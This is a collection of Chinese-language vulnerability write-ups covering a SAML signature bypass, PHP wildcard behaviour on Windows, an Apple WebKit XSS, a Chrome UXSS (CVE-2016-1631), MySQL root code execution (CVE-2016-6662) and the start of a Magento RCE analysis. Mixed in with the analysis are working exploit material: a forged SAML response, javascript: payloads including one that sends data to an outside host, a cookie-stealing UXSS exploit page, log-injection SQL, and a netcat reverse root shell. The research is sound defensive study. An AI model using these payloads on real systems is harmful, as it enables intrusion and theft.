Q6YmFzaWMiIE5hbWU9IlVzZXIuZW1haWwiPjxzYW1sOkF0dHJpYnV0ZVZhbHVlIHhtbG5zOnhzaT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEtaW5zdGFuY2UiIHhzaTp0eXBlPSJ4czpzdHJpbmciPnRlc3QxQGNubnQuY29tPCEtLS0tPi5jbm50LmNvbTwvc2FtbDpBdHRyaWJ1dGVWYWx1ZT48L3NhbWw6QXR0cmlidXRlPjwvc2FtbDpBdHRyaWJ1dGVTdGF0ZW1lbnQ%2BPC9zYW1sOkFzc2VydGlvbj48L3NhbWxwOlJlc3BvbnNlPgoK

第三步,重新发送修改后的SAML Response至我们的SP(demo-flask)

可见签名校验成功,并返回了相应的session id。

第四步,利用上一步获取到的session id访问SP,我们发现User.email的值被成功地由test1@cnnt.com.cnnt.com修改成了test1@cnnt.com,如下:

至此,我们成功地复现了漏洞。

0x03 总结

总结一下该漏洞的成因其实很简单,就是由于用于生成SAML Response中的签名的标准化方法与处理身份识别码的XML解析库对于注释的处理不一致从而导致签名校验被绕过,最终出现了越权访问其他用户的数据资源的漏洞。

这个漏洞的利用思路还是比较有意思的,但是也有一定的局限性,要想越权访问其他用户的话,首先需要一个认证成功的用户A,且目标用户B的NameID是可以通过以注释的方式分割用户A的NameID来获得,如用户A的NameID是123456,用户B的NameID是1234。

0x04 参考

PHP源码调试之Windows文件通配符分析

0x00 前言

很早之前就有国外的安全研究人员发现PHP语言在Windows上的一些奇妙特性:

  • 大于号(>)相等于通配符问号(?)
  • 小于号(<)相当于通配符星号(*)
  • 双引号(“)相当于点字符(.)

具体文章参见:https://soroush.secproject.com/blog/2014/07/file-upload-and-php-on-iis-wildcards/

那么问题来了,根本原因是什么呢?是PHP语言本身的问题还是Windows的锅呢?

0x01 分析

出于对这个问题的好奇,笔者进行了一下的挖掘和分析。
在分析之前为了避免自己做了无用功,先Google了一番,找到了以下这些文章且都是通过Fuzz的方法发现的,并没有太多资料解释更深层次的原因。

静态分析

既然没有现成的解释,那么我们便可以自己动手分析以下。
首先,下载PHP的源代码尝试进行静态分析。

git clone https://github.com/php/php-src
git checkout PHP-7.2.1 

随便选取一个可以操作文件的PHP方法, 如getimagesize.
尝试进行全局搜索,我们在\php-src\ext\standard\image.c的第1501-1506行发现了该方法的具体定义:

/* }}} */

/* {{{ proto array getimagesize(string imagefile [, array info])
   Get the size of an image as 4-element array */
PHP_FUNCTION(getimagesize)
{
    php_getimagesize_from_any(INTERNAL_FUNCTION_PARAM_PASSTHRU, FROM_PATH);
}

可见,getimagesize方法调用了php_getimagesize_from_any方法,那么接下来又是如何调用的呢?当然,你可以继续逐层追踪下去,但是这将会比较费时费力同时也需要更过的精力去理解大量的代码逻辑。笔者在这里将尝试从动态调试的角度来简化这个分析过程。

动态调试

在动态调试之前,我们需要做一些提前的准备如下:

  • PHP的源码(本文调试的版本是7.2.1)
  • Visual Studio 2017

参考PHP官方文档在Windows上编译PHP-7.2.1:
https://wiki.php.net/internals/windows/stepbystepbuild_sdk_2
具体步骤这里不在赘述,唯一需要注意的点在于在编译之前用以下的命令来建立自己的configure文件:

configure --enable-debug --enable-phpdbg
编译完成之后,你会看到类似于下图的编译之后的PHP可执行文件:

接下来,我们需要准备一个测试目录,具体结构如下:

C:\
- Research\
  -- admin\
      --- test.png
  -- poc.php 

准备一个poc.php文件,具体内容如下:

<?php
$a = "c:\\research\\phptest\\ad<\\test.png";
exec('pause');
if(@getimagesize($a)){
    echo "Success";
}else{
    echo "Failed";
}
?>

使用我们编译后的PHP来执行的话,正常情况下应该会返回Success:

一切准备就绪,便可以进行动态调试了。
先启动Visual Studio打开我们在静态分析时找到的\php-src\ext\standard\image.c文件在第1505行下一个断点。

进入C:\Research\目录,使用编译后的PHP(例如:C:\Research\php-sdk\phpdev\vc15\x64\php-7.2.1-src\x64\Debug_TS\php.exe)来执行我们的poc.php文件,并在Visual Studio里打开“调试-附加进程”来附加此处的PHP进程。

返回到执行poc文件的命令行下,敲击回车,我们发现前面设置的断点被成功hit了。

接下来的操作就需要特别的仔细和耐心了,使用VS提供的调试命令:

  • F10: 单步调试
  • F11: 逐语句调试
  • Shift + F11: 跳出

最终我们通过动态调试在\php-src\Zend\zend_virtual_cwd.c的第841行找到了Window API里的FindFirstFileExW()方法:

#ifdef ZEND_WIN32
        if (save) {
            pathw = php_win32_ioutil_any_to_w(path);
            if (!pathw) {
                return -1;
            }
            hFind = FindFirstFileExW(pathw, FindExInfoBasic, &dataw, FindExSearchNameMatch, NULL, 0);
            if (INVALID_HANDLE_VALUE == hFind) {
                if (use_realpath == CWD_REALPATH) {
                    /* file not found */
                    FREE_PATHW()
                    return -1;
                }
                /* continue resolution anyway but don't save result in the cache */
                save = 0;
            } else {
                FindClose(hFind);
            }
        }

也就是说PHP的getimagesize方法最终调用了Windows API里的FindFirstFileExW(),调用顺序如下:
  • PHP_FUNCTION(getimagesize)
  • php_getimagesize_from_any
  • _php_stream_open_wrapper_ex
  • php_stream_locate_url_wrapper
  • wrapper->wops->stream_opener
  • php_plain_files_stream_opener
  • php_stream_fopen_rel
  • _php_stream_fopen
  • expand_filepath
  • expand_filepath_ex
  • expand_filepath_with_mode
  • virtual_file_ex
  • tsrm_realpath_r
  • FindFirstFileExW

而根据StackOverflow上面的一个相关问题和MSDN的解释,这是NtQueryDirectoryFile / ZwQueryDirectoryFile通过FsRtlIsNameInExpression的一个功能特性,对于FsRtlIsNameInExpression有如下描述:

The following wildcard characters can be used in the pattern string.

Wildcard character  Meaning

* (asterisk)        Matches zero or more characters.

? (question mark)   Matches a single character.

DOS_DOT             Matches either a period or zero characters beyond the name
                    string.

DOS_QM              Matches any single character or, upon encountering a period
                    or end of name string, advances the expression to the end of
                    the set of contiguous DOS_QMs.

DOS_STAR            Matches zero or more characters until encountering and
                    matching the final . in the name.

另外,MSDN的解释并没有提到DOC-*具体指哪些字符,但根据ntfs.h,我们发现了如下的定义:

//  The following constants provide addition meta characters to fully
//  support the more obscure aspects of DOS wild card processing.

#define DOS_STAR        (L'<')
#define DOS_QM          (L'>')
#define DOS_DOT         (L'"')

因此,我们终于搞明白了为什么前言中说的这三个字符在Windows上被赋予了不同的含义了。

0x02 总结

通过以上分析,我们可以做以下的简短总结:

  • 问题产生的根本原因是PHP调用了Windows API里的FindFirstFileExW()或FindFirstFile()方法
  • 该Windows API方法对于这三个字符做了特别的对待和处理
  • 任何调用该Windows API方法的语言都有可能存在以上这个问题,比如:Python

0x03 参考

一个有意思的Apple XSS(CVE-2016-7762)的 分析与思考

原创发于先知论坛:https://xianzhi.aliyun.com/forum/read/755.html

0x00 前言

应CVE作者的要求帮忙分析一下这个漏洞,实际上这是一个思路比较有意思的Apple XSS(CVE-2016-7762)。漏洞作者确实脑洞比较大也善于尝试和发掘,这里必须赞一个!

0x01 分析与利用

官方在2017年1月24日发布的安全公告中如下描述:

  • 可利用设备:iPhone 5 and later, iPad 4th generation and later, iPod touch 6th generation and later
  • 漏洞影响:处理恶意构造的web内容可能会导致XSS攻击
  • 漏洞描述:Safari在显示文档时产生此漏洞,且该漏洞已通过修正输入校验被解决了

那么,该漏洞真的如安全公告中所描述的那样被解决了吗?实际上,结果并非如此。

在分析之前,首先先了解一下这到底是个什么漏洞。

POC:

  • 创建一个文档文件,比如:
    • Word文件(docx)
    • PPT文件(pptx)
    • 富文本文件(rtf)
  • 添加一个超链接并插入JS脚本,如:
    • javascript:alert(document.domain);void(0)
    • javascript:alert(document.cookie);void(0)
    • javascript:alert(location.href);void(0)
    • javascript:x=new Image();x.src=”http://i0f.in/authtest.php?id=OAsMdS&info=”;
  • 上传文件至web服务器然后在Apple设备上使用如下应用打开,如:
    • Safari
    • QQ Browser
    • Firefox Browser
    • Google Browser
    • QQ客户端
    • 微信客户端
    • 支付宝客户端
  • 点击文档文件中的超链接,上述JS脚本将会被执行从而造成了XSS漏洞

效果图如下:


回顾一下上面的POC,发现其实该漏洞不仅仅存在于Safari中而是普遍存在于使用了WebKit的APP中。

我们都知道,iOS APP要想像浏览器一样可以显示web内容,那么就必须使用WebKit。这是因为WebKit提供了一系列的类用于实现web页面展示,以及浏览器功能。而其中的WKWebView(或者UIWebView)就是用来在APP中显示web内容的。而当我们使用Safari或者使用了WebKit的APP去打开一个URL时,iOS就会自动使用WKWebView/UIWebView来解析和渲染这些页面或者文档。当受害人点击web服务器上的文档中的链接时,就会导致超链接中插入的javascript脚本被执行从而造成了XSS。这是因为WKWebView/UIWebView在解析和渲染远程服务器上的文档文件时并没有对文档中内嵌的内容做很好的输入校验导致的。

该漏洞单从利用的角度来说还是比较鸡肋的,因为漏洞的触发必须依赖于用户点击文档中的超链接,笔者可以想到的可能的利用场景如下:

  • 攻击者上传了一个包含了恶意JS的超链接(比如:个人博客链接)的Word文件(比如:个人简历)至招聘网站
  • 受害者(比如:HR或者猎头)登录招聘网站且使用iPhone或者iPad上的Safari在线打开该简历中的“博客链接”,那么此时攻击者很可能就成功获取了受害者的该网站cookie之类的信息

0x02 思考

这个XSS漏洞本身其实并没有太多的技术含量或者技巧,但是在挖掘思路上却是很有意思且值得思考的。漏洞作者并没有将利用js直接插入至web页面本身,而是巧妙地利用了某些文档中的超链接绕过了WebKit的输入校验。这也从一定程度上再次阐释了web安全中一个最基本的原则即“所有输入都是不安全的”,不管是直接输入或者是间接输入。我们在做应用或者产品的安全设计时最好能够确认各种信任边界以及输入输出,且做好校验过滤以及必要的编码,这样才能有效的防范这种间接输入导致的漏洞。

0x03 参考

https://support.apple.com/en-us/HT207422

https://developer.apple.com/reference/webkit

https://developer.apple.com/reference/webkit/wkwebview

https://developer.apple.com/reference/uikit/uiwebview

一个价值7500刀的Chrome UXSS(CVE-2016-1631)分析与利用

0x00 前言

本文的写作来源于前几天一个小伙伴发过来一个漏洞链接让笔者帮忙解释一下漏洞原理,为了便于小伙伴的理解且留作笔记供日后查阅遂写此文。

本文讨论的漏洞已早已修复,但作为漏洞研究还是很有价值的。此漏洞由研究人员Marius Mlynski发现并于2015年12月14日报告的一个Chrome不当地使用Flash消息循环而产生的UXSS漏洞(CVE-2016-1631)。

0x01 分析

漏洞影响:

Chrome 47.0.2526.80 (Stable)
Chrome 48.0.2564.41 (Beta)
Chrome 49.0.2587.3 (Dev)
Chromium 49.0.2591.0 + Pepper Flash

原漏洞报告如下:

From /content/renderer/pepper/ppb_flash_message_loop_impl.cc:
----------------
int32_t PPB_Flash_MessageLoop_Impl::InternalRun(
    const RunFromHostProxyCallback& callback) {
(...)
  // It is possible that the PPB_Flash_MessageLoop_Impl object has been
  // destroyed when the nested message loop exits.
  scoped_refptr<State> state_protector(state_);
  {
    base::MessageLoop::ScopedNestableTaskAllower allow(
        base::MessageLoop::current());
    base::MessageLoop::current()->Run();
  }
(...)
}
----------------

报告者解释说:PPB_Flash_MessageLoop_Impl::InternalRun在运行一个嵌套消息循环之前没有初始化ScopedPageLoadDeferrer,从而导致能够在任意Javascrpit的执行点加载一个跨域文档造成了XSS。

接下来,我们来看看报告者提供的POC,主要有三个文件:

  • p.as: 一个ActionScript脚本文件
  • p.swf: 一个swf格式的Flash文件
  • poc.html: 具体的poc代码

p.as:

package {
  import flash.display.*;
  import flash.external.*;
  import flash.printing.*;
  public class p extends Sprite {
    public function f():void {
      new PrintJob().start();
    }
    public function p():void {
      ExternalInterface.addCallback('f', f);
      ExternalInterface.call('top.cp');
    }
  }
}
poc.html:

<script>
if (location.href.startsWith('file')) {
  throw alert('This does not work from file:, please put it on an HTTP server.')
}

var c0 = 0;
function cp() {
  ++c0;
}

var fs = [];
for (var a = 0; a < 10; a++) {
  var i = document.documentElement.appendChild(document.createElement('iframe'));
  i.src = 'p.swf';
  fs.push(i);
}

// This function will call into Flash, which will start a PrintJob,
// which will send a PPB_Flash_MessageLoop message to the renderer,
// which will spin a nested event loop on the main thread through
// PPB_Flash_MessageLoop_Impl::InternalRun, which doesn't set up a
// ScopedPageLoadDeferrer.
function message_loop() {
  var pw = fs.pop().contentWindow;
  pw.name = 'p' + fs.length;
  // The magic happens here:
  pw.document.querySelector('embed').f();
  // Clean-up phase -- now that the print operation has served its
  // purpose of spinning a nested event loop, kill the print dialog
  // in case it's necessary to spin the loop again.
  var a = document.createElement('a');
  a.href = 'about:blank';
  a.target = 'p' + fs.length;
  a.click();
  if (fs.length < 6) {
    var then = Date.now();
    while (Date.now() - then < 1000) {}
  }
}

function f() {
  if (c0 == 10) {
    clearInterval(t);
    // The initial location of this iframe is about:blank.
    // It shouldn't change before the end of this function
    // unless a nested event loop is spun without a
    // ScopedPageLoadDeferrer on the stack.
    // |alert|, |print|, etc. won't work, as they use a
    // ScopedPageLoadDeferrer to defer loads during the loop.
    var i = document.documentElement.appendChild(document.createElement('iframe'));
    // Let's schedule an asynchronous load of a cross-origin document.
    i.contentWindow.location.href = 'data:text/html,';
    // Now let's try spinning the Flash message loop.
    // If the load succeeds, |i.contentDocument| will throw.
    try {
      while (i.contentDocument) { message_loop(); }
    } catch(e) {}

    // Check the final outcome of the shenanigans.
    try {
      if (i.contentWindow.location.href === 'about:blank') {
        alert('Nothing unexpected happened, good.');
      }
    } catch(e) {
      alert('The frame is cross-origin already, this is bad.');
    }
  }
}

var t = setInterval(f, 100);
</script>

POC的原理就是在页面中创建多个源为Flash文件的iframe,然后调用as脚本开启打印工作任务,此时Chrome将通过PPB_Flash_MessageLoop_Impl::InternalRun方法在主线程中运行一个嵌套的MessageLoop消息循环来发送PPB_Flash_MessageLoop消息给渲染器,由于PPB_Flash_MessageLoop_Impl::InternalRun方法没有在栈上设置ScopedPageLoadDeferrer来推迟加载从而导致嵌套的MessageLoop在循环时能够回调脚本并加载任意资源造成了UXSS漏洞。

那么,如何来理解这个漏洞呢?

在Chrome中,我们知道,每个线程都有一个MessageLoop(消息循环)实例。报告中的PPB_Flash_MessageLoop_Impl实际上就是Chrome处理Flash事件的消息循环的实现。当浏览器接收到要打印Flash文件的消息时,会开启一个MessageLoop来处理打印事件,而此时如果在运行的嵌套的消息循环里没有终止脚本的回调以及资源加载的方法的话,就可以通过脚本回调代码绕过SOP加载任意资源,也就造成了XSS漏洞。

从下面是源代码作者做的修复可以更好的了解漏洞的产生原因。

不难发现,源码作者实际上仅做了以下更改:

1. 添加了#include “third_party/WebKit/public/web/WebView.h”;

2. 在执行base::MessageLoop::current()->Run();之前添加了blink::WebView::willEnterModalLoop();

3. 在执行base::MessageLoop::current()->Run();之后添加了blink::WebView::didExitModalLoop();

找到third_party/WebKit/public/web/WebView.h文件,我们在当中找到了步骤2和3的方法如下:

third_party/WebKit/public/web/WebView.h:
-----------------------
    // Modal dialog support ------------------------------------------------
    // Call these methods before and after running a nested, modal event loop
    // to suspend script callbacks and resource loads.
    BLINK_EXPORT static void willEnterModalLoop();
    BLINK_EXPORT static void didExitModalLoop();
(...)
-----------------------

显然, 修复漏洞的方法就是在执行一个嵌套的模态事件循坏前后调用这2个方法来防止脚本的回调以及资源的加载,从而阻止了因为脚本回调而绕过SOP的XSS漏洞的产生。

0x02 利用

首先,下载exploit并部署到你的web服务器上。

解压后,文档目录如下:

├── exploit
│   ├── exploit.html
│   ├── f.html
│   ├── p.as
│   └── p.swf

打开exploit.html修改如下:

<script>
var c0 = 0;
var c1 = 0;
var fs = [];

function cp() {
  ++c0;
}

for (var a = 0; a < 10; a++) {
  var i = document.documentElement.appendChild(document.createElement('iframe'));
  i.src = 'p.swf';
  fs.push(i);
}

function ml() {
  var pw = fs.pop().contentWindow;
  pw.name = 'p' + fs.length;
  pw.document.querySelector('embed').f();
  var a = document.createElement('a');
  a.href = 'about:blank';
  a.target = 'p' + fs.length;
  a.click();
  if (fs.length < 6) {
    var then = Date.now();
    while (Date.now() - then < 1000) {}
  }
}

function f() {
  if (++c1 == 2) {
    var x1 = x.contentWindow[0].frameElement.nextSibling;
    x1.src = 'http://avfisher.win/'; //此处可修改成目标浏览器上打开的任意的站点
    try {
      while (x1.contentDocument) { ml(); }
    } catch(e) {
      x1.src = 'javascript:if(location!="about:blank")alert(document.cookie)'; //此处为在目标站点上想要执行的js代码
    }
  }
}

function c() {
  if (c0 == 10) {
    clearInterval(t);
    x = document.documentElement.appendChild(document.createElement('iframe'));
    x.src = 'f.html';
  }
}

var t = setInterval(c, 100);
</script>

利用效果如下:

0x03 参考

https://bugs.chromium.org/p/chromium/issues/detail?id=569496

https://codereview.chromium.org/1559113002/diff/40001/content/renderer/pepper/ppb_flash_message_loop_impl.cc?context=10&column_width=80&tab_spaces=8

https://chromium.googlesource.com/chromium/src/+/dd77c2a41c72589d929db0592565125ca629fb2c/third_party/WebKit/public/web/WebView.h

https://chromium.googlesource.com/chromium/src/+/dd77c2a41c72589d929db0592565125ca629fb2c/base/message_loop/message_loop.h#581

http://blog.csdn.net/zero_lee/article/details/7905121

http://www.360doc.com/content/13/0422/16/168576_280145531.shtml

MySQL远程代码执行/权限提升漏洞的分析与实践(CVE-2016-6662)

0x00 背景

2016年9月12日,国外安全研究人员Dawid Golunski发布安全公告发现了MySQL的一个可被远程代码执行/权限提升的漏洞(CVE-2016-6662)。笔者在研究了原报告后,做了如下分析和实践。

0x01 分析

漏洞披露原址:http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html

影响范围 (漏洞作者9月16日的最新更新):

MySQL <= 5.7.14

MySQL <= 5.6.32

MySQL <= 5.5.51

在对原报告的研究后,整理总结如下。

漏洞产生的原因:

1. 默认安装的MySQL自带了一个mysqld_safe的脚本用来启动mysql的服务进程,如:

2. 该进程能够在启动mysql server之前预加载共享库文件,通过参数 –malloc-lib = LIB

/usr/local/mysql/bin/mysqld_safe:

# set_malloc_lib LIB
# - If LIB is empty, do nothing and return
# - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib
#   then pkglibdir.  tcmalloc is part of the Google perftools project.
# - If LIB is an absolute path, assume it is a malloc shared library
#
# Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
# running mysqld.  See ld.so for details.
set_malloc_lib() {
  malloc_lib="$1"

  if [ "$malloc_lib" = tcmalloc ]; then
    pkglibdir=`get_mysql_config --variable=pkglibdir`
    malloc_lib=
    # This list is kept intentionally simple.  Simply set --malloc-lib
    # to a full path if another location is desired.
    for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do
      for flavor in _minimal '' _and_profiler _debug; do
        tmp="$libdir/libtcmalloc$flavor.so"
        #log_notice "DEBUG: Checking for malloc lib '$tmp'"
        [ -r "$tmp" ] || continue
        malloc_lib="$tmp"
        break 2
      done
    done

    if [ -z "$malloc_lib" ]; then
      log_error "no shared library for --malloc-lib=tcmalloc found in /usr/lib or $pkglibdir"
      exit 1
    fi
  fi

3. 共享库文件可被添加在一个mysql的配置文件my.cnf中, 比如mysql的data目录,$DATADIR/my.cnf

/usr/local/mysql/bin/mysqld_safe:

# Try where the binary installs put it
if test -d $MY_BASEDIR_VERSION/data/mysql
then
  DATADIR=$MY_BASEDIR_VERSION/data
  if test -z "$defaults" -a -r "$DATADIR/my.cnf"
  then
    defaults="--defaults-extra-file=$DATADIR/my.cnf"
  fi
# Next try where the source installs put it
elif test -d $MY_BASEDIR_VERSION/var/mysql
then
  DATADIR=$MY_BASEDIR_VERSION/var
# Or just give up and use our compiled-in default
else
  DATADIR=/usr/local/mysql/data
fi

4. 一旦攻击者可以注入恶意库文件在my.cnf文件中,即可在mysql服务重启时以root权限执行预加载的任意共享库中的任意代码

漏洞的利用条件:

具有FILE和SELECT权限的mysql的用户且能够访问日志功能(通常情况下只有MYSQL的管理员用户具有)

漏洞的利用场景:

1. 在MYSQL已存在的具有弱权限或者权限设置不安全的配置文件(mysql用户可写)里注入恶意代码

2. 在MYSQL的data目录里(mysql用户默认可写)创建一个新的配置文件my.cnf,并注入恶意代码

漏洞的利用原理:

1. 使用mysql的日志记录功能创建/修改my.cnf文件

mysql> set global general_log_file = '/usr/local/mysql/data/my.cnf';
mysql> set global general_log = on;
mysql> select '
    '> 
    '> ; injected config entry
    '> 
    '> [mysqld]
    '> malloc_lib=/tmp/mysql_exploit_lib.so
    '> 
    '> [separator]
    '> 
    '> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;

2. 注入包涵恶意代码的共享库,并添加到my.cnf文件的[mysqld]下,如:

[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'

3. 重启mysql服务,即可实现以root权限执行恶意代码

0x02 实践

实验环境:

  • Ubuntu 16.04.1 LTS
  • MySQL 5.5.50

实践步骤:

1. 安装与配置MySQL:http://howtolamp.com/lamp/mysql/5.6/installing/

安装后目录如下:

root@ubuntu:/home/avfisher/avfisher# ls -l /usr/local/mysql/
total 72
drwxr-xr-x  2 mysql mysql  4096 9月  18 18:51 bin
-rw-r--r--  1 mysql mysql 17987 5月  16 17:46 COPYING
drwx------  6 mysql mysql  4096 9月  18 17:46 data
drwxr-xr-x  2 mysql mysql  4096 9月  13 23:58 docs
drwxr-xr-x  3 mysql mysql  4096 9月  13 19:17 include
-rw-r--r--  1 mysql mysql   301 5月  16 17:46 INSTALL-BINARY
drwxr-xr-x  3 mysql mysql  4096 9月  13 19:17 lib
drwxr-xr-x  4 mysql mysql  4096 9月  13 19:17 man
drwxr-xr-x 10 mysql mysql  4096 9月  13 19:17 mysql-test
-rw-r--r--  1 mysql mysql  2496 5月  16 17:46 README
drwxr-xr-x  2 mysql mysql  4096 9月  13 19:17 scripts
drwxr-xr-x 27 mysql mysql  4096 9月  13 19:17 share
drwxr-xr-x  4 mysql mysql  4096 9月  13 23:02 sql-bench
drwxr-xr-x  2 mysql mysql  4096 9月  18 17:52 support-files

2. 下载exp文件:

3. 查找mysql的data目录,如:/usr/local/mysql/data

root@ubuntu:/home/avfisher/avfisher# ps aux | grep mysqld_safe
root     12592  0.0  0.0   4508  1780 pts/18   S    17:46   0:00 /bin/sh /usr/local/mysql/bin/mysqld_safe --datadir=/usr/local/mysql/data --pid-file=/usr/local/mysql/data/ubuntu.pid
root     13622  0.0  0.0  21296   940 pts/18   S+   18:59   0:00 grep --color=auto mysqld_saf

4. 修改exp文件

0ldSQL_MySQL_RCE_exploit.py:修改161行如下 (注意:此处的作用是将mysql的触发器文件写入到测试数据库所在的同一目录下)

TRG_path="/usr/local/mysql/data/%s/poctable.TRG" % args.TARGET_DB

mysql_hookandroot_lib.c:修改63-65行如下 (此处笔者使用的my.cnf的目录是/usr/local/mysql/data/my.cnf)

#define ATTACKERS_IP "<你的监听服务器的IP>"
#define SHELL_PORT <你的监听端口>
#define INJECTED_CONF "<你的mysql的data目录下的my.cnf文件>"

5. 在监听服务器上启动监听

[root@centos ~]# nc -lvv 8080
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080

6. 创建测试数据库用户和数据库

CREATE DATABASE pocdb;
GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY 'p0cpass!';
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%'; 

7. 执行0ldSQL_MySQL_RCE_exploit.py脚本如下:

root@ubuntu:/home/avfisher/avfisher# python 0ldSQL_MySQL_RCE_exploit.py -dbuser attacker -dbpass p0cpass! -dbhost 127.0.0.1 -dbname pocdb -mycnf /usr/local/mysql/data/my.cnf

0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit

For testing purposes only. Do no harm.

Discovered/Coded by:

Dawid Golunski
http://legalhackers.com


[+] Connecting to target server 127.0.0.1 and target mysql account 'attacker@127.0.0.1' using DB 'pocdb'

[+] The account in use has the following grants/perms: 

GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY PASSWORD <secret>
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%'

[+] Compiling mysql_hookandroot_lib.so

[+] Converting mysql_hookandroot_lib.so into HEX

[+] Saving trigger payload into /usr/local/mysql/data/pocdb/poctable.TRG

[+] Dumping shared library into /var/lib/mysql/mysql_hookandroot_lib.so file on the target

[+] Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded

[+] Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config /usr/local/mysql/data/my.cnf

[+] Showing the contents of /usr/local/mysql/data/my.cnf config to verify that our setting (malloc_lib) got injected

...
[+] Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)

[+] Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)

...

8. 重启mysql服务来触发利用

root@ubuntu:/home/avfisher/avfisher# /usr/local/mysql/support-files/mysql.server restart

9. 监听服务器成功收到反弹shell

[root@centos ~]# nc -lvv 8080
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
Ncat: Connection from 192.168.1.92.
Ncat: Connection from 192.168.1.92:46192.
root@ubuntu:/usr/local/mysql# id
id
uid=0(root) gid=0(root) groups=0(root)

0x03 总结

笔者在该漏洞的测试和实践过程中,有如下的体会和心得:

1. 漏洞作者巧妙地利用了触发器,使一个普通的用户利用了root权限执行了所需的sql语句,从而成功地绕过了mysql对于general_log_file文件操作的权限限制

2. 漏洞作者提供了一个不错的反弹shell的技巧,即在mysqld启动之前利用preload加载my.cnf文件顺序早于mysqld成功地修改了my.cnf文件中的冗余信息,保证了mysql服务的正常启动

3. 关于mysql的data目录下的my.cnf文件的权限问题,其实完全不需要chown mysql:mysql my.cnf, 只要同时具备以下2个条件即可:

  • 默认的mysql用户对my.cnf具有可写权限
  • my.cnf不是world-write权限

参考

http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html

http://legalhackers.com/exploits/0ldSQL_MySQL_RCE_exploit.py

http://legalhackers.com/exploits/mysql_hookandroot_lib.c

http://seclists.org/oss-sec/2016/q3/484

Magento未授权远程代码执行漏洞(CVE-2016-4010)的分析与利用

0x00 前言

5月17日,国外的安全研究人员Netanel Rubin公开了Magento的一个未授权远程代码执行漏洞(CVE-2016-4010)。该漏洞实际上包含了多个小的漏洞并且允许攻击者在有漏洞的Magento服务器上未授权执行PHP代码。Magento是一个非常流行的电商平台,它在2011年时被eBay收购。一些知名企业,如:三星,尼康,联想,以及众多的小型电商都在使用它。据悉,Magento被250,000个在线商城使用,每年将涉及金额达600亿美金。

0x01 分析

该漏洞的利用条件:

  1. Magento开启了RPCs(REST或者SOAP),且大部分都是默认开启的
  2. Magento的CE&EE版本<2.0.6

Magento的web API允许2种不同方式的RPCs,分别是REST RPC和SOAP API。这2种方式都提供了相同的功能,唯一的区别在于前者使用JSON和HTTP请求去传递输入,后者则使用XML。

为了仅仅公开部分模块的API,Magento提供给开发者们一个方便的方法就是在“webapi.xml”文件里仅仅声明他们想要能够访问的模块的API。webapi.xml文件包含了所有需要被公开的Web API的类和方法,每一个方法也指定了它需要的具体的权限。这些权限包括:

  1. anonymous - 允许任何人访问的方法
  2. self - 仅仅允许注册的用户和具体的管理员的权限,如: “Magento_Backend::admin”权限就是仅仅允许可以编辑服务器配置的管理员去访问

当然,这种允许开发者使用webapi.xml文件在系统的前端以及后端(Web API)之前通信的方式,实际上也打开了一扇直接进入模块核心的后门。

另外,即使我们已经有了“anonymous”权限我们仍然需要一个可以动态传值的方式。这里指的可在系统里使用的不同的对象,例如:“CustomerRepositoryInterface::save()” API功能允许我们在“$customer”变量里使用“CustomerInterface”的对象,代码原型如下:

interface CustomerRepositoryInterface
{
    /**
     * Create customer.
     */
    public function save(\Magento\Customer\Api\Data\CustomerInterface $customer);
 
}

那么如何使用RPC接口来创建对象呢?事实上,这个问题的答案在于Magento如何配置SOAP服务器。

Magento使用默认捆绑了PHP“SoapServer”的SOAP服务器。为了能够正确的配置,“SoapServer”需要一个WSDL文件,在这个文件里去定义所有的方法,参数,以及在实际RPC请求种使用的定制内型。Magento为每个支持XMLRPC功能的模块生成不同的WSDL文件,并且直接设置来自于模块的webapi.xml文件里的值。

当一个RPC请求被服务器解析的时候,服务器使用在WSDL文件里找到的数据去判断请求是否有效,检查请求的方法,参数和类型。如果请求是有效的,就传递已解析的请求对象至Magento做进一步的解析。一个非常重要的点是,“SoapServer”不会以任何方式与Magento进行交互,所有关于模块的的方法和参数的信息都是来自于WSDL文件。此时,发送的请求仍然是由嵌套的数组组成,在SoapServer的解析阶段没有对象会被创建。为了创建需要的对象,Magento会继续自己处理输入。

为了抽取参数名和数据类型,Magento会从请求的方法里获取原型(可以参见前面的代码)。对于一些基本的数据类型, 如字符串,数组,布尔型等,系统将把输入对应到相应的类型。但是对于对象类型,解决的方法比较麻烦。

如果参数的数据类型是一个类的实例,Magento将会尝试使用提供的输入去简历实例。记住,此时的输入仅仅是一个字典,它的key是属性名称,value饰属性值。

首先,Magento将会创建一个需要的类的新实例。接着,它将会尝试使用以下的方法去填充:

  1. 获取属性名称(来自于输入的字典的key)
  2. 寻找公共的方法叫“Set[Name]”,其中[Name]是属性名称
  3. 如果有这样的方法,使用属性值作为参数去执行
  4. 如果没有这样的方法,忽略该属性并且继续查看下一个属性

Magento将会按照这个方法去处理每一个的用户正在尝试设置的属性。当所有的属性都被检查了,Magento将会认为该实例已经设置完成并且处理下一个参数。当所有的参数都被这样处理了,Magento将会最终执行这个API方法。

总而言之,Magento让你去创建一个对象,并设置它的公共属性,最后通过它的RPC去执行任何一个以“Set”开头的方法。而正是这种行为导致了Magento的漏洞的产生。

研究发现,一些API的调用是允许在购物车里设置一些具体的信息,这些信息可以是我们的邮寄地址,商品,甚至是我们的支付方式。

